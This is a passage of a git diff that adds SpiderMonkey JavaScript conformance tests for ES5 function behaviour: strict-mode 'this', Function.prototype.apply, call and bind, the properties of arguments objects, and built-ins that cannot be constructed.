+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strictThis() { 'use strict'; return this; }
+
+/* Check that calls of flat closure slots get the right |this|. */
+function flat(g) {
+ function h() { return g(); }
+ return h;
+}
+assertEq(flat(strictThis)(), undefined);
+
+/* Check that calls up upvars get the right |this|. */
+function upvar(f) {
+ function h() {
+ return f();
+ }
+ return h();
+}
+assertEq(upvar(strictThis), undefined);
+
+/* Check that calls to with-object properties get an appropriate 'this'. */
+var obj = { f: strictThis };
+with (obj) {
+ /*
+ * The method won't compile anything containing a 'with', but it can
+ * compile 'g'.
+ */
+ function g() { return f(); }
+ assertEq(g(), obj);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Function/15.3.4.3-01.js b/js/src/tests/ecma_5/Function/15.3.4.3-01.js
new file mode 100644
index 000000000..955d77376
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/15.3.4.3-01.js
@@ -0,0 +1,245 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562448;
+var summary = 'Function.prototype.apply should accept any arraylike arguments';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.apply.apply(nonfuns[i], [1, 2, 3]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.apply with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 2. */
+var thisObj = {};
+
+var currentThis, currentThisBox;
+function funLength()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this, currentThis, "wrong this");
+}
+function strictFunLength()
+{
+ "use strict";
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this, currentThis, "wrong this");
+}
+
+currentThis = global;
+funLength.apply();
+funLength.apply(undefined);
+funLength.apply(undefined, undefined);
+funLength.apply(undefined, null);
+
+currentThis = undefined;
+strictFunLength.apply();
+strictFunLength.apply(undefined);
+strictFunLength.apply(undefined, undefined);
+strictFunLength.apply(undefined, null);
+
+currentThis = null;
+strictFunLength.apply(null);
+strictFunLength.apply(null, undefined);
+strictFunLength.apply(null, null);
+
+currentThis = thisObj;
+funLength.apply(thisObj);
+funLength.apply(thisObj, null);
+funLength.apply(thisObj, undefined);
+strictFunLength.apply(thisObj);
+strictFunLength.apply(thisObj, null);
+strictFunLength.apply(thisObj, undefined);
+
+currentThis = 17;
+strictFunLength.apply(17);
+strictFunLength.apply(17, null);
+strictFunLength.apply(17, undefined);
+
+function funThisPrimitive()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this instanceof currentThisBox, true,
+ "this not instanceof " + currentThisBox);
+ assertEq(this.valueOf(), currentThis,
+ "wrong this valueOf()");
+}
+
+currentThis = 17;
+currentThisBox = Number;
+funThisPrimitive.apply(17);
+funThisPrimitive.apply(17, undefined);
+funThisPrimitive.apply(17, null);
+
+currentThis = "foopy";
+currentThisBox = String;
+funThisPrimitive.apply("foopy");
+funThisPrimitive.apply("foopy", undefined);
+funThisPrimitive.apply("foopy", null);
+
+currentThis = false;
+currentThisBox = Boolean;
+funThisPrimitive.apply(false);
+funThisPrimitive.apply(false, undefined);
+funThisPrimitive.apply(false, null);
+
+
+/* Step 3. */
+var nonobjs = [1, -1, 2.5, "[[Call]]", true, false];
+for (var i = 0, sz = nonobjs.length; i < sz; i++)
+{
+ var f = function() { fun.apply(thisObj, nonobjs[i]); };
+ var msg = "should have thrown a TypeError with non-object arguments";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 4. */
+var args = { get length() { throw 42; } };
+try
+{
+ fun.apply(thisObj, args);
+}
+catch (e)
+{
+ assertEq(e, 42, "didn't throw result of [[Get]] on arguments object");
+}
+
+
+/*
+ * NB: There was an erratum removing the steps numbered 5 and 7 in the original
+ * version of ES5; see also the comments in js_fun_apply.
+ */
+
+/* Step 5. */
+var called = false;
+var argsObjectLength =
+ { length: { valueOf: function() { called = true; return 17; } } };
+
+fun.apply({}, argsObjectLength);
+assertEq(called, true, "should have been set in valueOf called via ToUint32");
+
+var upvar = "unset";
+var argsObjectPrimitiveLength =
+ {
+ length:
+ {
+ valueOf: function() { upvar = "valueOf"; return {}; },
+ toString: function()
+ {
+ upvar = upvar === "valueOf" ? "both" : "toString";
+ return 17;
+ }
+ }
+ };
+fun.apply({}, argsObjectPrimitiveLength);
+assertEq(upvar, "both", "didn't call all hooks properly");
+
+
+/* Step 6-9. */
+var seenThis, res, steps;
+var argsAccessors =
+ {
+ length: 4,
+ get 0() { steps.push("0"); return 1; },
+ get 1() { steps.push("1"); return 2; },
+ // make sure values shine through holes
+ get 3() { steps.push("3"); return 8; },
+ };
+
+Object.prototype[2] = 729;
+
+seenThis = "not seen";
+function argsAsArray()
+{
+ seenThis = this;
+ steps.push(Math.PI);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = argsAsArray.apply(thisObj, argsAccessors);
+assertEq(seenThis, thisObj, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], Math.PI, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+seenThis = "not seen";
+function strictArgsAsArray()
+{
+ "use strict";
+ seenThis = this;
+ steps.push(NaN);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = strictArgsAsArray.apply(null, argsAccessors);
+assertEq(seenThis, null, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], 0 / 0, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+strictArgsAsArray.apply(17, argsAccessors);
+assertEq(seenThis, 17, "saw wrong this");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/Function-arguments-gc.js b/js/src/tests/ecma_5/Function/Function-arguments-gc.js
new file mode 100644
index 000000000..250452336
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/Function-arguments-gc.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 623301;
+var summary = "Properly root argument names during Function()";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof gczeal === "function")
+ gczeal(2);
+
+function crashMe(n)
+{
+ var nasty = [];
+ while (n--)
+ nasty.push("a" + n);
+ return Function.apply(null, nasty);
+}
+
+var count = 64; // exact value not important
+assertEq(crashMe(count + 1).length, count);
+
+if (typeof gczeal === "function")
+ gczeal(0); // reset
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/Function-with-eval.js b/js/src/tests/ecma_5/Function/Function-with-eval.js
new file mode 100644
index 000000000..981abf2d0
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/Function-with-eval.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(new Function(
+ "eval('var foo = 915805');" +
+ "return foo;"
+ )(),
+ 915805);
+
+assertEq(new Function(
+ "eval('function foo() {" +
+ "return 915805;" +
+ "}');" +
+ "return foo;"
+ )()(),
+ 915805);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Function/arguments-caller-callee.js b/js/src/tests/ecma_5/Function/arguments-caller-callee.js
new file mode 100644
index 000000000..3eda27b49
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/arguments-caller-callee.js
@@ -0,0 +1,66 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-caller-callee.js';
+var BUGNUMBER = 514563;
+var summary = "arguments.caller and arguments.callee are poison pills in ES5";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; return arguments; }
+expectTypeError(function barCaller() { bar().caller; });
+expectTypeError(function barCallee() { bar().callee; });
+
+function baz() { return arguments; }
+assertEq(baz().callee, baz);
+
+
+// accessor identity
+
+function strictMode() { "use strict"; return arguments; }
+var canonicalTTE = Object.getOwnPropertyDescriptor(strictMode(), "caller").get;
+
+var args = strictMode();
+
+var argsCaller = Object.getOwnPropertyDescriptor(args, "caller");
+assertEq("get" in argsCaller, true);
+assertEq("set" in argsCaller, true);
+assertEq(argsCaller.get, canonicalTTE);
+assertEq(argsCaller.set, canonicalTTE);
+
+var argsCallee = Object.getOwnPropertyDescriptor(args, "callee");
+assertEq("get" in argsCallee, true);
+assertEq("set" in argsCallee, true);
+assertEq(argsCallee.get, canonicalTTE);
+assertEq(argsCallee.set, canonicalTTE);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/arguments-property-attributes.js b/js/src/tests/ecma_5/Function/arguments-property-attributes.js
new file mode 100644
index 000000000..994b97ca4
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/arguments-property-attributes.js
@@ -0,0 +1,102 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-property-attributes.js';
+var BUGNUMBER = 516255;
+var summary = "Attributes for properties of arguments objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// normal
+
+function args() { return arguments; }
+var a = args(0, 1);
+
+var argProps = Object.getOwnPropertyNames(a).sort();
+assertEq(argProps.indexOf("callee") >= 0, true);
+assertEq(argProps.indexOf("0") >= 0, true);
+assertEq(argProps.indexOf("1") >= 0, true);
+assertEq(argProps.indexOf("length") >= 0, true);
+
+var calleeDesc = Object.getOwnPropertyDescriptor(a, "callee");
+assertEq(calleeDesc.value, args);
+assertEq(calleeDesc.writable, true);
+assertEq(calleeDesc.enumerable, false);
+assertEq(calleeDesc.configurable, true);
+
+var zeroDesc = Object.getOwnPropertyDescriptor(a, "0");
+assertEq(zeroDesc.value, 0);
+assertEq(zeroDesc.writable, true);
+assertEq(zeroDesc.enumerable, true);
+assertEq(zeroDesc.configurable, true);
+
+var oneDesc = Object.getOwnPropertyDescriptor(a, "1");
+assertEq(oneDesc.value, 1);
+assertEq(oneDesc.writable, true);
+assertEq(oneDesc.enumerable, true);
+assertEq(oneDesc.configurable, true);
+
+var lengthDesc = Object.getOwnPropertyDescriptor(a, "length");
+assertEq(lengthDesc.value, 2);
+assertEq(lengthDesc.writable, true);
+assertEq(lengthDesc.enumerable, false);
+assertEq(lengthDesc.configurable, true);
+
+
+// strict
+
+function strictArgs() { "use strict"; return arguments; }
+var sa = strictArgs(0, 1);
+
+var strictArgProps = Object.getOwnPropertyNames(sa).sort();
+assertEq(strictArgProps.indexOf("callee") >= 0, true);
+assertEq(strictArgProps.indexOf("caller") >= 0, true);
+assertEq(strictArgProps.indexOf("0") >= 0, true);
+assertEq(strictArgProps.indexOf("1") >= 0, true);
+assertEq(strictArgProps.indexOf("length") >= 0, true);
+
+var strictCalleeDesc = Object.getOwnPropertyDescriptor(sa, "callee");
+assertEq(typeof strictCalleeDesc.get, "function");
+assertEq(typeof strictCalleeDesc.set, "function");
+assertEq(strictCalleeDesc.get, strictCalleeDesc.set);
+assertEq(strictCalleeDesc.enumerable, false);
+assertEq(strictCalleeDesc.configurable, false);
+
+var strictCallerDesc = Object.getOwnPropertyDescriptor(sa, "caller");
+assertEq(typeof strictCallerDesc.get, "function");
+assertEq(typeof strictCallerDesc.set, "function");
+assertEq(strictCallerDesc.get, strictCallerDesc.set);
+assertEq(strictCallerDesc.enumerable, false);
+assertEq(strictCallerDesc.configurable, false);
+
+var strictZeroDesc = Object.getOwnPropertyDescriptor(sa, "0");
+assertEq(strictZeroDesc.value, 0);
+assertEq(strictZeroDesc.writable, true);
+assertEq(strictZeroDesc.enumerable, true);
+assertEq(strictZeroDesc.configurable, true);
+
+var strictOneDesc = Object.getOwnPropertyDescriptor(sa, "1");
+assertEq(strictOneDesc.value, 1);
+assertEq(strictOneDesc.writable, true);
+assertEq(strictOneDesc.enumerable, true);
+assertEq(strictOneDesc.configurable, true);
+
+var strictLengthDesc = Object.getOwnPropertyDescriptor(sa, "length");
+assertEq(strictLengthDesc.value, 2);
+assertEq(strictLengthDesc.writable, true);
+assertEq(strictLengthDesc.enumerable, false);
+assertEq(strictLengthDesc.configurable, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/browser.js b/js/src/tests/ecma_5/Function/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/browser.js
diff --git a/js/src/tests/ecma_5/Function/builtin-no-construct.js b/js/src/tests/ecma_5/Function/builtin-no-construct.js
new file mode 100644
index 000000000..b41ae56f1
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/builtin-no-construct.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkMethod(method) {
+ try {
+ new method();
+ assertEq(0, 1, "not reached " + method);
+ } catch (e) {
+ assertEq(e.message.indexOf(" is not a constructor") === -1, false);
+ }
+}
+
+function checkMethods(proto) {
+ var names = Object.getOwnPropertyNames(proto);
+ for (var i = 0; i < names.length; i++) {
+ var name = names[i];
+ if (["constructor", "arguments", "caller"].indexOf(name) >= 0)
+ continue;
+ var prop = proto[name];
+ if (typeof prop === "function")
+ checkMethod(prop);
+ }
+}
+
+checkMethod(Function.prototype);
+checkMethods(JSON);
+checkMethods(Math);
+checkMethods(Proxy);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError,
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ checkMethods(builtin_ctors[i]);
+ checkMethods(builtin_ctors[i].prototype);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ checkMethod(builtin_funcs[i]);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_5/Function/builtin-no-prototype.js b/js/src/tests/ecma_5/Function/builtin-no-prototype.js
new file mode 100644
index 000000000..b5a8cc9f6
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/builtin-no-prototype.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(undefined, void 0);
+
+assertEq(Function.prototype.hasOwnProperty('prototype'), false);
+assertEq(Function.prototype.prototype, undefined);
+
+var builtin_ctors = [
+ Object, Function, Array, String, Boolean, Number, Date, RegExp, Error,
+ EvalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError
+];
+
+for (var i = 0; i < builtin_ctors.length; i++) {
+ var c = builtin_ctors[i];
+ assertEq(typeof c.prototype, (c === Function) ? "function" : "object");
+ assertEq(c.prototype.constructor, c);
+}
+
+var builtin_funcs = [
+ eval, isFinite, isNaN, parseFloat, parseInt,
+ decodeURI, decodeURIComponent, encodeURI, encodeURIComponent
+];
+
+for (var i = 0; i < builtin_funcs.length; i++) {
+ assertEq(builtin_funcs[i].hasOwnProperty('prototype'), false);
+ assertEq(builtin_funcs[i].prototype, undefined);
+}
+
+var names = Object.getOwnPropertyNames(Math);
+for (var i = 0; i < names.length; i++) {
+ var m = Math[names[i]];
+ if (typeof m === "function")
+ assertEq(m.prototype, undefined);
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/ecma_5/Function/function-bind.js b/js/src/tests/ecma_5/Function/function-bind.js
new file mode 100644
index 000000000..78ee18310
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/function-bind.js
@@ -0,0 +1,288 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-bind.js';
+var BUGNUMBER = 429507;
+var summary = "ES5: Function.prototype.bind";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ad-hoc testing
+
+assertEq(Function.prototype.hasOwnProperty("bind"), true);
+
+var bind = Function.prototype.bind;
+assertEq(bind.length, 1);
+
+
+var strictReturnThis = function() { "use strict"; return this; };
+
+assertEq(strictReturnThis.bind(undefined)(), undefined);
+assertEq(strictReturnThis.bind(null)(), null);
+
+var obj = {};
+assertEq(strictReturnThis.bind(obj)(), obj);
+
+assertEq(strictReturnThis.bind(NaN)(), NaN);
+
+assertEq(strictReturnThis.bind(true)(), true);
+assertEq(strictReturnThis.bind(false)(), false);
+
+assertEq(strictReturnThis.bind("foopy")(), "foopy");
+
+
+// rigorous, step-by-step testing
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+/*
+ * 1. Let Target be the this value.
+ * 2. If IsCallable(Target) is false, throw a TypeError exception.
+ */
+expectThrowTypeError(function() { bind.call(null); });
+expectThrowTypeError(function() { bind.call(undefined); });
+expectThrowTypeError(function() { bind.call(NaN); });
+expectThrowTypeError(function() { bind.call(0); });
+expectThrowTypeError(function() { bind.call(-0); });
+expectThrowTypeError(function() { bind.call(17); });
+expectThrowTypeError(function() { bind.call(42); });
+expectThrowTypeError(function() { bind.call("foobar"); });
+expectThrowTypeError(function() { bind.call(true); });
+expectThrowTypeError(function() { bind.call(false); });
+expectThrowTypeError(function() { bind.call([]); });
+expectThrowTypeError(function() { bind.call({}); });
+
+
+/*
+ * 3. Let A be a new (possibly empty) internal list of all of the argument
+ * values provided after thisArg (arg1, arg2 etc), in order.
+ * 4. Let F be a new native ECMAScript object .
+ * 5. Set all the internal methods, except for [[Get]], of F as specified in
+ * 8.12.
+ * 6. Set the [[Get]] internal property of F as specified in 15.3.5.4.
+ * 7. Set the [[TargetFunction]] internal property of F to Target.
+ * 8. Set the [[BoundThis]] internal property of F to the value of thisArg.
+ * 9. Set the [[BoundArgs]] internal property of F to A.
+ */
+// throughout
+
+
+/* 10. Set the [[Class]] internal property of F to "Function". */
+var toString = Object.prototype.toString;
+assertEq(toString.call(function(){}), "[object Function]");
+assertEq(toString.call(function a(){}), "[object Function]");
+assertEq(toString.call(function(a){}), "[object Function]");
+assertEq(toString.call(function a(b){}), "[object Function]");
+assertEq(toString.call(function(){}.bind()), "[object Function]");
+assertEq(toString.call(function a(){}.bind()), "[object Function]");
+assertEq(toString.call(function(a){}.bind()), "[object Function]");
+assertEq(toString.call(function a(b){}.bind()), "[object Function]");
+
+
+/*
+ * 11. Set the [[Prototype]] internal property of F to the standard built-in
+ * Function prototype object as specified in 15.3.3.1.
+ */
+assertEq(Object.getPrototypeOf(bind.call(function(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function(a){})), Function.prototype);
+assertEq(Object.getPrototypeOf(bind.call(function a(b){})), Function.prototype);
+
+
+/*
+ * 12. Set the [[Call]] internal property of F as described in 15.3.4.5.1.
+ */
+var a = Array.bind(1, 2);
+assertEq(a().length, 2);
+assertEq(a(4).length, 2);
+assertEq(a(4, 8).length, 3);
+
+function t() { return this; }
+var bt = t.bind(t);
+assertEq(bt(), t);
+
+function callee() { return arguments.callee; }
+var call = callee.bind();
+assertEq(call(), callee);
+assertEq(new call(), callee);
+
+
+/*
+ * 13. Set the [[Construct]] internal property of F as described in 15.3.4.5.2.
+ */
+function Point(x, y)
+{
+ this.x = x;
+ this.y = y;
+}
+var YAxisPoint = Point.bind(null, 0)
+
+assertEq(YAxisPoint.hasOwnProperty("prototype"), false);
+var p = new YAxisPoint(5);
+assertEq(p.x, 0);
+assertEq(p.y, 5);
+assertEq(p instanceof Point, true);
+assertEq(p instanceof YAxisPoint, true);
+assertEq(Object.prototype.toString.call(YAxisPoint), "[object Function]");
+assertEq(YAxisPoint.length, 1);
+
+
+/*
+ * 14. Set the [[HasInstance]] internal property of F as described in
+ * 15.3.4.5.3.
+ */
+function JoinArguments()
+{
+ this.args = Array.prototype.join.call(arguments, ", ");
+}
+
+var Join1 = JoinArguments.bind(null, 1);
+var Join2 = Join1.bind(null, 2);
+var Join3 = Join2.bind(null, 3);
+var Join4 = Join3.bind(null, 4);
+var Join5 = Join4.bind(null, 5);
+var Join6 = Join5.bind(null, 6);
+
+var r = new Join6(7);
+assertEq(r instanceof Join6, true);
+assertEq(r instanceof Join5, true);
+assertEq(r instanceof Join4, true);
+assertEq(r instanceof Join3, true);
+assertEq(r instanceof Join2, true);
+assertEq(r instanceof Join1, true);
+assertEq(r instanceof JoinArguments, true);
+assertEq(r.args, "1, 2, 3, 4, 5, 6, 7");
+
+
+/*
+ * 15. If the [[Class]] internal property of Target is "Function", then
+ * a. Let L be the length property of Target minus the length of A.
+ * b. Set the length own property of F to either 0 or L, whichever is larger.
+ * 16. Else set the length own property of F to 0.
+ */
+function none() { return arguments.length; }
+assertEq(none.bind(1, 2)(3, 4), 3);
+assertEq(none.bind(1, 2)(), 1);
+assertEq(none.bind(1)(2, 3), 2);
+assertEq(none.bind().length, 0);
+assertEq(none.bind(null).length, 0);
+assertEq(none.bind(null, 1).length, 0);
+assertEq(none.bind(null, 1, 2).length, 0);
+
+function one(a) { }
+assertEq(one.bind().length, 1);
+assertEq(one.bind(null).length, 1);
+assertEq(one.bind(null, 1).length, 0);
+assertEq(one.bind(null, 1, 2).length, 0);
+
+// retch
+var br = Object.create(null, { length: { value: 0 } });
+try
+{
+ br = bind.call(/a/g, /a/g, "aaaa");
+}
+catch (e) { /* nothing */ }
+assertEq(br.length, 0);
+
+
+/*
+ * 17. Set the attributes of the length own property of F to the values
+ * specified in 15.3.5.1.
+ */
+var len1Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(), "length");
+assertEq(len1Desc.value, 3);
+assertEq(len1Desc.writable, false);
+assertEq(len1Desc.enumerable, false);
+assertEq(len1Desc.configurable, true);
+
+var len2Desc =
+ Object.getOwnPropertyDescriptor(function(a, b, c){}.bind(null, 2), "length");
+assertEq(len2Desc.value, 2);
+assertEq(len2Desc.writable, false);
+assertEq(len2Desc.enumerable, false);
+assertEq(len2Desc.configurable, true);
+
+
+/*
+ * 18. Set the [[Extensible]] internal property of F to true.
+ */
+var bound = (function() { }).bind();
+
+var isExtensible = Object.isExtensible || function() { return true; };
+assertEq(isExtensible(bound), true);
+
+bound.foo = 17;
+var fooDesc = Object.getOwnPropertyDescriptor(bound, "foo");
+assertEq(fooDesc.value, 17);
+assertEq(fooDesc.writable, true);
+assertEq(fooDesc.enumerable, true);
+assertEq(fooDesc.configurable, true);
+
+
+/*
+ * Steps 19-21 are removed from ES6, instead implemented through "arguments" and
+ * "caller" accessors on Function.prototype. So no own properties, but do check
+ * for the same observable behavior (modulo where the accessors live).
+ */
+function strict() { "use strict"; }
+function nonstrict() {}
+
+function testBound(fun)
+{
+ var boundf = fun.bind();
+
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "arguments"), undefined,
+ "should be no arguments property");
+ assertEq(Object.getOwnPropertyDescriptor(boundf, "caller"), undefined,
+ "should be no caller property");
+
+ expectThrowTypeError(function() { return boundf.arguments; });
+ expectThrowTypeError(function() { return boundf.caller; });
+}
+
+testBound(strict);
+testBound(nonstrict);
+
+assertEq((function unbound(){"body"}).bind().toString(), `function bound unbound() {
+ [native code]
+}`);
+
+assertEq((function unbound(){"body"}).bind().toSource(), `function bound unbound() {
+ [native code]
+}`);
+
+assertEq(uneval((function unbound(){"body"}).bind()), `function bound unbound() {
+ [native code]
+}`);
+
+
+/* 22. Return F. */
+var passim = function p(){}.bind(1);
+assertEq(typeof passim, "function");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/function-call.js b/js/src/tests/ecma_5/Function/function-call.js
new file mode 100644
index 000000000..756b58384
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/function-call.js
@@ -0,0 +1,134 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575535;
+var summary = 'Function.prototype.call';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+assertEq(Function.prototype.call.length, 1);
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.call.apply(nonfuns[i]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.call with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Steps 2-4. */
+function none()
+{
+ assertEq(this, global, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+none.call();
+none.call(undefined);
+none.call(null);
+
+var seenThis;
+function strictNone()
+{
+ "use strict";
+ assertEq(this, seenThis, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+seenThis = undefined;
+strictNone.call();
+strictNone.call(undefined);
+
+seenThis = null;
+strictNone.call(null);
+
+seenThis = 17;
+strictNone.call(17);
+
+var seenThisBox, args;
+function some()
+{
+ assertEq(this instanceof seenThisBox, true,
+ "this not instanceof " + seenThisBox);
+ assertEq(this.valueOf(), seenThis,
+ "wrong this valueOf()");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = false;
+seenThisBox = Boolean;
+args = [8, 6, 7, NaN, undefined, 0.3];
+some.call(false, 8, 6, 7, NaN, undefined, 0.3);
+
+var obj = {};
+
+seenThis = "foo";
+seenThisBox = String;
+args = [obj];
+some.call("foo", obj);
+
+seenThis = obj;
+seenThisBox = Object;
+some.call(obj, obj);
+
+function strictSome()
+{
+ "use strict";
+ assertEq(this, seenThis, "wrong this");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = NaN;
+args = [8, 6, 7, NaN, undefined, 0.3];
+strictSome.call(NaN, 8, 6, 7, NaN, undefined, 0.3);
+
+seenThis = "foo";
+args = [obj];
+strictSome.call("foo", obj);
+
+seenThis = obj;
+strictSome.call(obj, obj);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/function-caller.js b/js/src/tests/ecma_5/Function/function-caller.js
new file mode 100644
index 000000000..2b0812d4f
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/function-caller.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
